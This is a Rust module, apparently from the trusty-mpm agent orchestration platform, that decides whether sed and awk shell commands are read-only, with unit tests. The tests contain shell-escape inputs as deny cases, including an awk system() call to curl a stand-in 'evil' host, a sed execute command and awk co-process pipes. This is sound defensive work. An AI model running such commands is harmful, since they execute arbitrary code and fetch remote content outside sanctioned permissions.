trusty-mpm 1.3.5

trusty-mpm: unified multi-agent orchestration platform (core, daemon, CLI, TUI, Telegram)
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
//! Deny-by-default safety analysis for `sed`/`awk`-family Bash segments
//! (issue #2664, security redesign after code-critic BLOCK on PR #2677).
//!
//! Why: a name-only deny-list (`sed`/`awk` always deny) blocked ubiquitous
//! read-only stream-filter idioms like `git status --porcelain | awk '{print
//! $1}'`. But the first fix attempt inverted to allow-by-default-unless-an-
//! in-place-flag-is-present, which opened real shell-escape holes: awk's
//! `system()` builtin (arbitrary shell exec, no `-i`, no `>`), sed's `e`
//! (execute) and `w`/`W` (write-to-file) script commands, and `-f`/`--file`
//! loading a script the guard can never see. The correct shape is
//! deny-by-default with a narrow, explicitly-verified read-only carve-out —
//! a missed deny is the dangerous direction, so every ambiguous or
//! unparseable case denies.
//! What: [`sed_is_readonly`] / [`awk_is_readonly`] are called only after
//! [`super::classify_bash_segment`] has already matched the segment's first
//! token as `sed` / `awk`-family; each returns `true` only when the segment
//! proves out narrowly read-only under every check (no in-place flag, no
//! external script load, no write/exec script construct, balanced quotes).
//! Test: `sed_is_readonly_*`, `awk_is_readonly_*`, `has_unbalanced_quotes_*`
//! in this module's `tests` submodule.

/// Whether a `sed` segment is narrowly read-only: no in-place edit flag, no
/// external `-f`/`--file` script, no `e`/`w`/`W` write-or-execute script
/// command (standalone or as an `s///` flag), and balanced quotes.
///
/// Why: see the module docs. `sed -n '1,5p' f` / `sed 's/a/b/g' f | grep x`
/// are ubiquitous, non-mutating idioms; anything else about `sed` can write a
/// file or execute a shell command, so it denies by default.
/// What: short-circuits `false` (deny) on the first hit of
/// [`has_unbalanced_quotes`] (a segment splitter side-effect that hides a
/// pipe/semicolon inside what was originally a quoted script — see the
/// module docs on `awk` co-processes, which applies equally here),
/// [`sed_has_inplace_flag`], [`sed_has_external_script_flag`], or
/// [`sed_script_has_write_or_exec`]. Only when none match does it return
/// `true`.
/// Test: `sed_is_readonly_allows_stream_filters`,
/// `sed_is_readonly_denies_in_place`, `sed_is_readonly_denies_external_script`,
/// `sed_is_readonly_denies_write_or_exec_commands`,
/// `sed_is_readonly_denies_in_place_abbreviations`.
pub(super) fn sed_is_readonly(segment: &str) -> bool {
    if has_unbalanced_quotes(segment) {
        return false;
    }
    if sed_has_inplace_flag(segment) {
        return false;
    }
    if sed_has_external_script_flag(segment) {
        return false;
    }
    if sed_script_has_write_or_exec(segment) {
        return false;
    }
    true
}

/// Whether an `awk`-family segment is narrowly read-only: no in-place-edit
/// extension loader, no external `-f`/`--file` program, no `system()` call,
/// no co-process pipe (via the balanced-quote check), and balanced quotes.
///
/// Why: see the module docs — `system()` and `print | "cmd"` co-processes
/// are full shell escapes with no `-i` and no `>` involved, so they are not
/// caught by any redirection heuristic and must be denied by content, not by
/// flag alone.
/// What: mirrors [`sed_is_readonly`]'s short-circuit shape for the
/// awk-specific checks: [`has_unbalanced_quotes`], [`awk_has_inplace_flag`],
/// [`awk_has_external_script_flag`], [`awk_program_has_system_call`], and
/// [`awk_program_has_quoted_pipe_or_redirect`].
/// Test: `awk_is_readonly_allows_stream_filters`,
/// `awk_is_readonly_denies_in_place`, `awk_is_readonly_denies_external_script`,
/// `awk_is_readonly_denies_system_call`, `awk_is_readonly_denies_coprocess`.
pub(super) fn awk_is_readonly(segment: &str) -> bool {
    if has_unbalanced_quotes(segment) {
        return false;
    }
    if awk_has_inplace_flag(segment) {
        return false;
    }
    if awk_has_external_script_flag(segment) {
        return false;
    }
    if awk_program_has_system_call(segment) {
        return false;
    }
    if awk_program_has_quoted_pipe_or_redirect(segment) {
        return false;
    }
    true
}

/// Whether `segment` ends with an unclosed `'` or `"` quote.
///
/// Why: [`super::split_shell_segments`] is deliberately quote-unaware — it
/// cuts on every bare `;`/`|`/`&`/newline regardless of quoting. A `sed`/`awk`
/// script that legitimately uses one of those characters *inside* a quoted
/// program (most notably a `|` for an awk co-process, or piping into/out of
/// `getline`/`print`) gets its enclosing quote cut in half by that split,
/// leaving an unclosed quote in the resulting segment. That is a reliable,
/// general signal that this segment's classification is unsafe to trust — the
/// real command may contain content this segment never shows us — so it must
/// deny, not just the specific co-process pattern it happened to originate
/// from.
/// What: a single left-to-right scan tracking whether we are currently inside
/// a single- or double-quoted run (mutually exclusive — a quote character of
/// the *other* kind is ignored while inside a run, so an apostrophe inside a
/// double-quoted script like `sed "s/can't/cannot/" f` or
/// `awk -F"'" '{...}'` does not spuriously toggle single-quote state).
/// Returns `true` (deny-worthy) when either kind is still open at the end of
/// `segment`. Deliberately quote-unaware about backslash-escaping, matching
/// this module family's conservative posture.
/// Test: `has_unbalanced_quotes_*`.
fn has_unbalanced_quotes(segment: &str) -> bool {
    let mut in_single = false;
    let mut in_double = false;
    for b in segment.bytes() {
        match b {
            b'\'' if !in_double => in_single = !in_single,
            b'"' if !in_single => in_double = !in_double,
            _ => {}
        }
    }
    in_single || in_double
}

/// Whether a `sed` segment carries an in-place-edit flag (GNU `-i[SUFFIX]` /
/// `--in-place[=SUFFIX]` or any unambiguous GNU-getopt abbreviation of the
/// latter, including a suffix attached with no space like `-i.bak`, and
/// combined short-option clusters like `-ni`).
///
/// Why: GNU sed accepts any unambiguous prefix of a long option, so
/// `--in`, `--in-p`, `--in-place=bak`, etc. must all be caught, not just the
/// exact spelling — no other GNU sed long option begins `in`, so a `--in`
/// prefix match is unambiguous. GNU sed has exactly one short option using
/// the letter `i` (`-i`), so a "does this dash-cluster contain `i`" scan is
/// safe for short options.
/// What: tokenizes on whitespace; a hit is a token starting with `--in`
/// (covers every abbreviation/suffix form), or a token starting with a single
/// `-` (not `--`) whose remainder contains the byte `i`.
/// Test: `sed_is_readonly_denies_in_place`,
/// `sed_is_readonly_denies_in_place_abbreviations`.
fn sed_has_inplace_flag(segment: &str) -> bool {
    for token in segment.split_whitespace() {
        if token.starts_with("--in") {
            return true;
        }
        if token.starts_with("--") {
            continue;
        }
        if let Some(rest) = token.strip_prefix('-')
            && !rest.is_empty()
            && rest.contains('i')
        {
            return true;
        }
    }
    false
}

/// Whether a `sed` segment loads an external script via `-f`/`--file`.
///
/// Why: an external script is content the guard cannot see — it may contain
/// any `e`/`w`/`W` command this module otherwise detects — so it must deny
/// unconditionally rather than trust an absent local check.
/// What: tokenizes on whitespace; a hit is `--file`, a token starting with
/// `--file=`, or a token starting with a single `-` (not `--`) whose
/// remainder contains the byte `f` (GNU sed's only short option using `f`).
/// Test: `sed_is_readonly_denies_external_script`.
fn sed_has_external_script_flag(segment: &str) -> bool {
    for token in segment.split_whitespace() {
        if token == "--file" || token.starts_with("--file=") {
            return true;
        }
        if token.starts_with("--") {
            continue;
        }
        if let Some(rest) = token.strip_prefix('-')
            && !rest.is_empty()
            && rest.contains('f')
        {
            return true;
        }
    }
    false
}

/// Skip the leading program-name / env-assignment / `sudo`|`env` / flag
/// tokens of a `sed` segment, returning the suffix where script (and
/// trailing filename) content begins.
///
/// Why: [`sed_script_has_write_or_exec`] must not misparse the literal word
/// `sed` itself (which starts with `s`) as an `s///` substitution command —
/// it needs to see only the script-and-arguments tail. Scanning by byte
/// offset (rather than `split_whitespace` + rejoin) preserves the original
/// spacing the address/command parser depends on.
/// What: walks whitespace-delimited words from the start, skipping
/// `KEY=value` env assignments, `sudo`/`env`, a word equal to `sed` or ending
/// `/sed`, and any word starting with `-` (a flag; note a flag's *argument*,
/// e.g. `-e`'s script, is a separate word that does NOT start with `-` and is
/// therefore not skipped). Returns the byte-offset suffix of `segment`
/// starting at the first non-skipped word, or `""` if every word was
/// skippable.
/// Test: covered via `sed_is_readonly_denies_write_or_exec_commands` and
/// `sed_is_readonly_allows_stream_filters`.
fn sed_script_region(segment: &str) -> &str {
    let bytes = segment.as_bytes();
    let mut idx = 0;
    loop {
        while idx < bytes.len() && bytes[idx].is_ascii_whitespace() {
            idx += 1;
        }
        if idx >= bytes.len() {
            return "";
        }
        let word_start = idx;
        while idx < bytes.len() && !bytes[idx].is_ascii_whitespace() {
            idx += 1;
        }
        let word = &segment[word_start..idx];
        let is_env = word.split_once('=').is_some_and(|(k, _)| {
            !k.is_empty()
                && k.chars()
                    .next()
                    .is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
                && k.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')
        });
        if is_env || word == "sudo" || word == "env" || word == "sed" || word.ends_with("/sed") {
            continue;
        }
        if word.starts_with('-') {
            continue;
        }
        return &segment[word_start..];
    }
}

/// Whether a `sed` script contains a standalone `e`/`w`/`W` command or an
/// `s///` substitution with an `e` or `w` flag.
///
/// Why: these execute (`e`) or write-to-file (`w`/`W`) without any `-i` flag
/// and without any `>` redirection, so no other check in this module family
/// catches them.
/// What: resolves the script-and-arguments region via [`sed_script_region`],
/// splits it on `;`, `\n`, `{`, `}` (sed statement boundaries), and for each
/// resulting statement strips a leading quote character (real sed scripts
/// arrive shell-quoted, e.g. `'1e cmd'`) then skips a leading sed address
/// (digits/`~step`, `$`, or a `/regex/` — optionally a `,`-joined range —
/// optionally followed by `!` negation) via [`skip_sed_address`]. If what
/// remains starts with `e`/`w`/`W` as a standalone token (end of statement or
/// followed by whitespace), or starts with `s` followed by a delimiter and
/// the parsed flags run (after [`skip_sed_substitution`]) contains `e` or
/// `w`, the script is unsafe. An `s` command whose delimiters cannot be
/// resolved denies conservatively (ambiguous → unsafe).
/// Test: `sed_is_readonly_denies_write_or_exec_commands`.
fn sed_script_has_write_or_exec(segment: &str) -> bool {
    for raw_stmt in sed_script_region(segment).split(['\u{003B}', '\n', '{', '}']) {
        let trimmed = raw_stmt.trim_start().trim_start_matches(['\'', '"']);
        let mut rest = skip_sed_address(trimmed);
        rest = rest.trim_start_matches(['!', ' ', '\t']);
        let bytes = rest.as_bytes();
        if bytes.is_empty() {
            continue;
        }
        match bytes[0] {
            b'e' | b'w' | b'W' => {
                let standalone = bytes.len() == 1 || bytes[1] == b' ' || bytes[1] == b'\t';
                if standalone {
                    return true;
                }
            }
            b's' if bytes.len() > 1 => {
                match skip_sed_substitution(rest) {
                    Some(flags) if flags.contains('e') || flags.contains('w') => return true,
                    Some(_) => {}
                    // Delimiters didn't resolve within this statement slice —
                    // ambiguous (statement splitting is quote/regex-unaware),
                    // so deny conservatively rather than assume it's safe.
                    None => return true,
                }
            }
            _ => {}
        }
    }
    false
}

/// Skip a leading sed address (`N`, `N~M`, `$`, `/re/`, optionally a
/// `,`-joined range) from the front of `stmt`, returning what follows.
///
/// Why: factored out of [`sed_script_has_write_or_exec`] so the command-letter
/// check operates on the command, not an address that happens to contain a
/// digit or `/`.
/// What: consumes up to two addresses joined by `,`; each address is a
/// digit run (with an optional `~digit` step), `$`, or a `/`-delimited regex
/// (scanning to the next unescaped `/`). Unrecognised leading content (no
/// address present) returns `stmt` unchanged.
/// Test: covered via `sed_script_has_write_or_exec` call sites in
/// `sed_is_readonly_denies_write_or_exec_commands`.
fn skip_sed_address(stmt: &str) -> &str {
    let mut rest = stmt;
    for _ in 0..2 {
        let bytes = rest.as_bytes();
        if bytes.is_empty() {
            break;
        }
        let consumed = if bytes[0] == b'$' {
            1
        } else if bytes[0].is_ascii_digit() {
            let mut n = 0;
            while n < bytes.len() && bytes[n].is_ascii_digit() {
                n += 1;
            }
            if n < bytes.len() && bytes[n] == b'~' {
                n += 1;
                while n < bytes.len() && bytes[n].is_ascii_digit() {
                    n += 1;
                }
            }
            n
        } else if bytes[0] == b'/' {
            match rest[1..].find('/') {
                Some(end) => end + 2,
                None => return rest,
            }
        } else {
            0
        };
        if consumed == 0 {
            break;
        }
        rest = &rest[consumed..];
        rest = rest.trim_start();
        if let Some(after_comma) = rest.strip_prefix(',') {
            rest = after_comma.trim_start();
            continue;
        }
        break;
    }
    rest
}

/// Parse an `s<delim>pattern<delim>replacement<delim>flags` command starting
/// at `rest` (whose first byte is `s`), returning the trailing flags run.
///
/// Why: factored out of [`sed_script_has_write_or_exec`] — the `e`/`w` danger
/// for an `s` command lives in its flags, which sit after two more
/// occurrences of the delimiter chosen right after `s`.
/// What: takes `rest.as_bytes()[1]` as the delimiter, scans for the next two
/// unescaped occurrences of that byte, then reads the run of ASCII-alphameric
/// flag characters immediately after the second. Returns `None` if either
/// delimiter cannot be found (ambiguous — the caller denies conservatively).
/// Test: covered via `sed_is_readonly_denies_write_or_exec_commands`.
fn skip_sed_substitution(rest: &str) -> Option<&str> {
    let bytes = rest.as_bytes();
    let delim = bytes[1];
    if delim == b' ' || delim == b'\t' {
        return None;
    }
    let mut idx = 2;
    let mut delim_count = 0;
    while idx < bytes.len() && delim_count < 2 {
        if bytes[idx] == delim && (idx == 0 || bytes[idx - 1] != b'\\') {
            delim_count += 1;
        }
        idx += 1;
    }
    if delim_count < 2 {
        return None;
    }
    let flags_start = idx;
    let mut flags_end = flags_start;
    while flags_end < bytes.len() && bytes[flags_end].is_ascii_alphanumeric() {
        flags_end += 1;
    }
    Some(&rest[flags_start..flags_end])
}

/// Whether an `awk`-family segment carries the in-place-edit extension
/// loader (`-i inplace` / `--include inplace` / `--include=inplace`, or the
/// attached `-iinplace` form).
///
/// Why: gawk's in-place editing is an opt-in extension loaded exactly this
/// way; per issue #2664's fallback guidance, any bare `-i`/`--include` is
/// conservatively treated as this loader since that is the only mechanism
/// awk exposes for it.
/// What: tokenizes on whitespace; a hit is a token equal to `-i` or
/// `--include`, a token starting with `--include=`, or a token starting with
/// `-i` followed by more characters (the attached `-iinplace` form).
/// Test: `awk_is_readonly_denies_in_place`.
fn awk_has_inplace_flag(segment: &str) -> bool {
    for token in segment.split_whitespace() {
        if token == "-i" || token == "--include" || token.starts_with("--include=") {
            return true;
        }
        if token.len() > 2 && token.starts_with("-i") && !token.starts_with("--") {
            return true;
        }
    }
    false
}

/// Whether an `awk`-family segment loads an external program via
/// `-f`/`--file`.
///
/// Why: same rationale as [`sed_has_external_script_flag`] — content the
/// guard cannot see may contain `system()`/co-process calls.
/// What: a hit is a token equal to `-f`, starting with `-f` (attached
/// filename form), `--file`, or starting with `--file=`.
/// Test: `awk_is_readonly_denies_external_script`.
fn awk_has_external_script_flag(segment: &str) -> bool {
    for token in segment.split_whitespace() {
        if token == "--file" || token.starts_with("--file=") {
            return true;
        }
        if token == "-f" || (token.len() > 2 && token.starts_with("-f")) {
            return true;
        }
    }
    false
}

/// Whether an `awk`-family segment's program text calls the `system(`
/// builtin.
///
/// Why: `system()` executes an arbitrary shell command — the single most
/// direct escape this module family defends against. A plain
/// `contains("system(")` substring check is bypassable: AWK's grammar
/// permits (and real-world sloppy style commonly has) whitespace between a
/// builtin name and its opening parenthesis, so `system ("touch /tmp/x")` —
/// with a space — calls `system` exactly the same as `system(...)` but was
/// missed by the no-space-only check (code-critic re-review of PR #2677,
/// empirically confirmed live: `awk 'BEGIN{system ("echo x")}'` executes).
/// What: a manual byte scan for the identifier `system` as a standalone
/// token — the preceding byte (if any) must not be alphanumeric/underscore,
/// so `mysystem(` and `system_call(` do not false-positive as this specific
/// check — followed by zero or more ASCII whitespace bytes (space, tab,
/// `\n`, `\r`) and then `(`. Deliberately quote-unaware, matching this module
/// family's conservative posture: a call hidden inside what looks like a
/// string literal still denies.
/// Test: `awk_is_readonly_denies_system_call`,
/// `awk_program_has_system_call_tolerates_whitespace_before_paren`,
/// `awk_program_has_system_call_does_not_match_identifier_suffix`.
fn awk_program_has_system_call(segment: &str) -> bool {
    const NEEDLE: &[u8] = b"system";
    let bytes = segment.as_bytes();
    let is_ident_byte = |b: u8| b.is_ascii_alphanumeric() || b == b'_';
    let mut i = 0;
    while i + NEEDLE.len() <= bytes.len() {
        let is_match = &bytes[i..i + NEEDLE.len()] == NEEDLE;
        let prev_is_boundary = i == 0 || !is_ident_byte(bytes[i - 1]);
        if is_match && prev_is_boundary {
            let mut j = i + NEEDLE.len();
            while j < bytes.len() && matches!(bytes[j], b' ' | b'\t' | b'\n' | b'\r') {
                j += 1;
            }
            if j < bytes.len() && bytes[j] == b'(' {
                return true;
            }
        }
        i += 1;
    }
    false
}

/// Whether an `awk`-family segment has a `|` or `>` INSIDE a quoted region — an
/// in-program co-process pipe or an output redirect.
///
/// Why (issue #2734): the outer guard scanners (`super::split_shell_segments`,
/// `super::has_file_write_redirection`) became quote-aware to stop mis-reading a
/// PM's quoted `-m` message content as shell syntax. That removed the
/// *incidental* protection they used to give awk: a co-process
/// `awk 'BEGIN{print | "sort"}'` no longer gets its quoted `|` split off into an
/// unbalanced fragment, and an in-program `awk '{print > "f"}'` file write no
/// longer trips the quote-unaware `>` scan. Both are full shell/file-write
/// escapes needing no `-i` and no shell-level redirect, so awk must detect them
/// itself. A `|`/`>` that is *unquoted* is a shell-level pipe/redirect handled
/// upstream (the read-only `git log | awk '{print $1}'` pipeline splits there),
/// so only *quoted* occurrences are this module's concern.
/// What: a single left-to-right scan tracking single-/double-quote state (the
/// same mutually-exclusive shape as [`has_unbalanced_quotes`]); returns `true`
/// on the first `|` or `>` seen while inside either quote kind. Conservatively
/// also flags an in-program `>` comparison (`awk '$1 > 5'`) — matching the prior
/// quote-unaware behaviour, which already denied it — rather than parse awk.
/// Test: `awk_is_readonly_denies_coprocess`, `awk_is_readonly_denies_in_program_redirect`.
fn awk_program_has_quoted_pipe_or_redirect(segment: &str) -> bool {
    let mut in_single = false;
    let mut in_double = false;
    for b in segment.bytes() {
        match b {
            b'\'' if !in_double => in_single = !in_single,
            b'"' if !in_single => in_double = !in_double,
            b'|' | b'>' if in_single || in_double => return true,
            _ => {}
        }
    }
    false
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn sed_is_readonly_allows_stream_filters() {
        // Direct unit calls pass a single-command segment, matching what
        // `classify_bash_segment` actually hands to `sed_is_readonly` after
        // splitting; full multi-command pipelines are covered separately in
        // `mod.rs`'s `evaluate_bash_command_allows_readonly_sed_awk`.
        for cmd in [
            "sed -n '1,5p' file.txt",
            "sed 's/a/b/g' f",
            "sed -e 's/a/b/' f",
            "sed --posix 's/a/b/' f",
            "sed 's/a/b/'",
        ] {
            assert!(sed_is_readonly(cmd), "expected read-only: {cmd}");
        }
    }

    #[test]
    fn sed_is_readonly_denies_in_place() {
        for cmd in [
            "sed -i s/a/b/ f",
            "sed -i.bak s/a/b/ f",
            "sed -ni s/a/b/p f",
            "sed --in-place s/a/b/ f",
            "sed --in-place=.bak s/a/b/ f",
        ] {
            assert!(!sed_is_readonly(cmd), "expected deny (in-place): {cmd}");
        }
    }

    #[test]
    fn sed_is_readonly_denies_in_place_abbreviations() {
        for cmd in [
            "sed --in s/a/b/ f",
            "sed --in-p s/a/b/ f",
            "sed --in=bak s/a/b/ f",
        ] {
            assert!(
                !sed_is_readonly(cmd),
                "expected deny (abbreviated --in-place): {cmd}"
            );
        }
    }

    #[test]
    fn sed_is_readonly_denies_external_script() {
        for cmd in [
            "sed -f script.sed f",
            "sed --file script.sed f",
            "sed --file=s.sed f",
        ] {
            assert!(!sed_is_readonly(cmd), "expected deny (-f): {cmd}");
        }
    }

    #[test]
    fn sed_is_readonly_denies_write_or_exec_commands() {
        for cmd in [
            "sed '1e touch /tmp/x' f",
            "sed -n '1,5w /tmp/out' f",
            "sed '$w /tmp/out' f",
            "sed 's/a/b/e' f",
            "sed 's/a/b/w /tmp/out' f",
            "sed 's/a/b/gw /tmp/out' f",
        ] {
            assert!(!sed_is_readonly(cmd), "expected deny (e/w/W): {cmd}");
        }
    }

    #[test]
    fn awk_is_readonly_allows_stream_filters() {
        for cmd in [
            "awk '{print $1}'",
            "awk -F, '{print $1}' f",
            "git log | awk '{print $1}'",
        ] {
            assert!(awk_is_readonly(cmd), "expected read-only: {cmd}");
        }
    }

    #[test]
    fn awk_is_readonly_denies_in_place() {
        for cmd in [
            "awk -i inplace '{print}' f",
            "awk --include inplace '{print}' f",
            "awk --include=inplace '{print}' f",
            "awk -iinplace '{print}' f",
        ] {
            assert!(!awk_is_readonly(cmd), "expected deny (in-place): {cmd}");
        }
    }

    #[test]
    fn awk_is_readonly_denies_external_script() {
        for cmd in ["awk -f script.awk f", "awk --file script.awk f"] {
            assert!(!awk_is_readonly(cmd), "expected deny (-f): {cmd}");
        }
    }

    #[test]
    fn awk_is_readonly_denies_system_call() {
        for cmd in [
            r#"awk 'BEGIN{system("touch /tmp/x")}'"#,
            r#"awk 'BEGIN{system("curl https://evil/x")}'"#,
        ] {
            assert!(!awk_is_readonly(cmd), "expected deny (system()): {cmd}");
        }
    }

    #[test]
    fn awk_is_readonly_denies_system_call_with_whitespace_before_paren() {
        // Code-critic re-review of PR #2677: AWK permits whitespace between a
        // builtin name and its `(`, and `system ("...")` executes the same
        // as `system("...")` — a no-space-only check misses it entirely.
        for cmd in [
            "awk 'BEGIN{system (\"touch /tmp/x\")}'",
            "awk 'BEGIN{system\t(\"echo x\")}'",
            "awk 'BEGIN{system (\"curl https://evil/x\")}'",
        ] {
            assert!(
                !awk_is_readonly(cmd),
                "expected deny (system with whitespace before paren): {cmd}"
            );
        }
    }

    #[test]
    fn awk_program_has_system_call_tolerates_whitespace_before_paren() {
        for prog in [
            r#"system("x")"#,
            r#"system ("x")"#,
            "system\t(\"x\")",
            "system \t (\"x\")",
        ] {
            assert!(
                awk_program_has_system_call(prog),
                "expected system() call detected: {prog}"
            );
        }
    }

    #[test]
    fn awk_program_has_system_call_does_not_match_identifier_suffix() {
        // `system` must be a standalone identifier, not a suffix/prefix of a
        // longer one — `mysystem(` and `system_call(` are not calls to the
        // `system` builtin.
        for prog in [r#"mysystem("x")"#, r#"system_call("x")"#, "system_("] {
            assert!(
                !awk_program_has_system_call(prog),
                "expected no system() detection for: {prog}"
            );
        }
    }

    #[test]
    fn awk_is_readonly_denies_coprocess() {
        // A co-process `|` inside a quoted awk program is a full shell escape
        // (`print | "cmd"`, `"cmd" | getline`). Since #2734 the upstream
        // splitter is quote-aware and no longer cuts the quoted `|` into an
        // unbalanced fragment, so `awk_program_has_quoted_pipe_or_redirect`
        // must detect the in-quote `|` directly on the whole segment.
        for cmd in [
            r#"awk 'BEGIN{print | "sort"}'"#,
            r#"awk 'BEGIN{"date" | getline}'"#,
        ] {
            assert!(
                !awk_is_readonly(cmd),
                "expected deny for co-process awk: {cmd}"
            );
        }
    }

    #[test]
    fn awk_is_readonly_denies_in_program_redirect() {
        // An in-program `print > "file"` / `>>` writes a file with no `-i` and
        // no shell-level `>`; the now quote-aware outer redirection scan skips
        // the quoted `>`, so awk must catch it itself (#2734).
        for cmd in [
            r#"awk '{print > "out.txt"}'"#,
            r#"awk '{print $0 >> "log"}'"#,
            r#"awk '{printf "%s", $1 > "f"}'"#,
        ] {
            assert!(!awk_is_readonly(cmd), "expected deny (in-program >): {cmd}");
        }
    }

    #[test]
    fn has_unbalanced_quotes_detects_odd_counts() {
        assert!(has_unbalanced_quotes("awk 'BEGIN{print "));
        assert!(has_unbalanced_quotes(" \"sort\"}'"));
        assert!(!has_unbalanced_quotes("awk '{print $1}'"));
        assert!(!has_unbalanced_quotes("sed 's/a/b/g' f"));
    }

    #[test]
    fn has_unbalanced_quotes_ignores_apostrophe_inside_double_quotes() {
        // A literal apostrophe inside a double-quoted script (a contraction,
        // or a single-quote-as-data field separator) must not spuriously
        // toggle single-quote state and report "unbalanced".
        assert!(!has_unbalanced_quotes(r#"sed "s/can't/cannot/" f"#));
        assert!(!has_unbalanced_quotes(r#"awk -F"'" '{print $2}'"#));
    }

    #[test]
    fn sed_is_readonly_allows_apostrophe_inside_double_quoted_script() {
        // Code-critic re-review MEDIUM: contractions in a double-quoted sed
        // script are common and read-only; must not be over-denied.
        assert!(sed_is_readonly(r#"sed "s/can't/cannot/" f"#));
    }

    #[test]
    fn awk_is_readonly_allows_apostrophe_inside_double_quoted_field_separator() {
        assert!(awk_is_readonly(r#"awk -F"'" '{print $2}'"#));
    }

    #[test]
    fn has_unbalanced_quotes_still_denies_coprocess_fragment() {
        // The quote-context-aware rewrite must not weaken the co-process
        // detection it exists to support: a genuinely unclosed quote (the
        // upstream split-at-`|` fragment shape) still reports unbalanced.
        assert!(has_unbalanced_quotes("awk 'BEGIN{print"));
        assert!(has_unbalanced_quotes(" \"sort"));
    }
}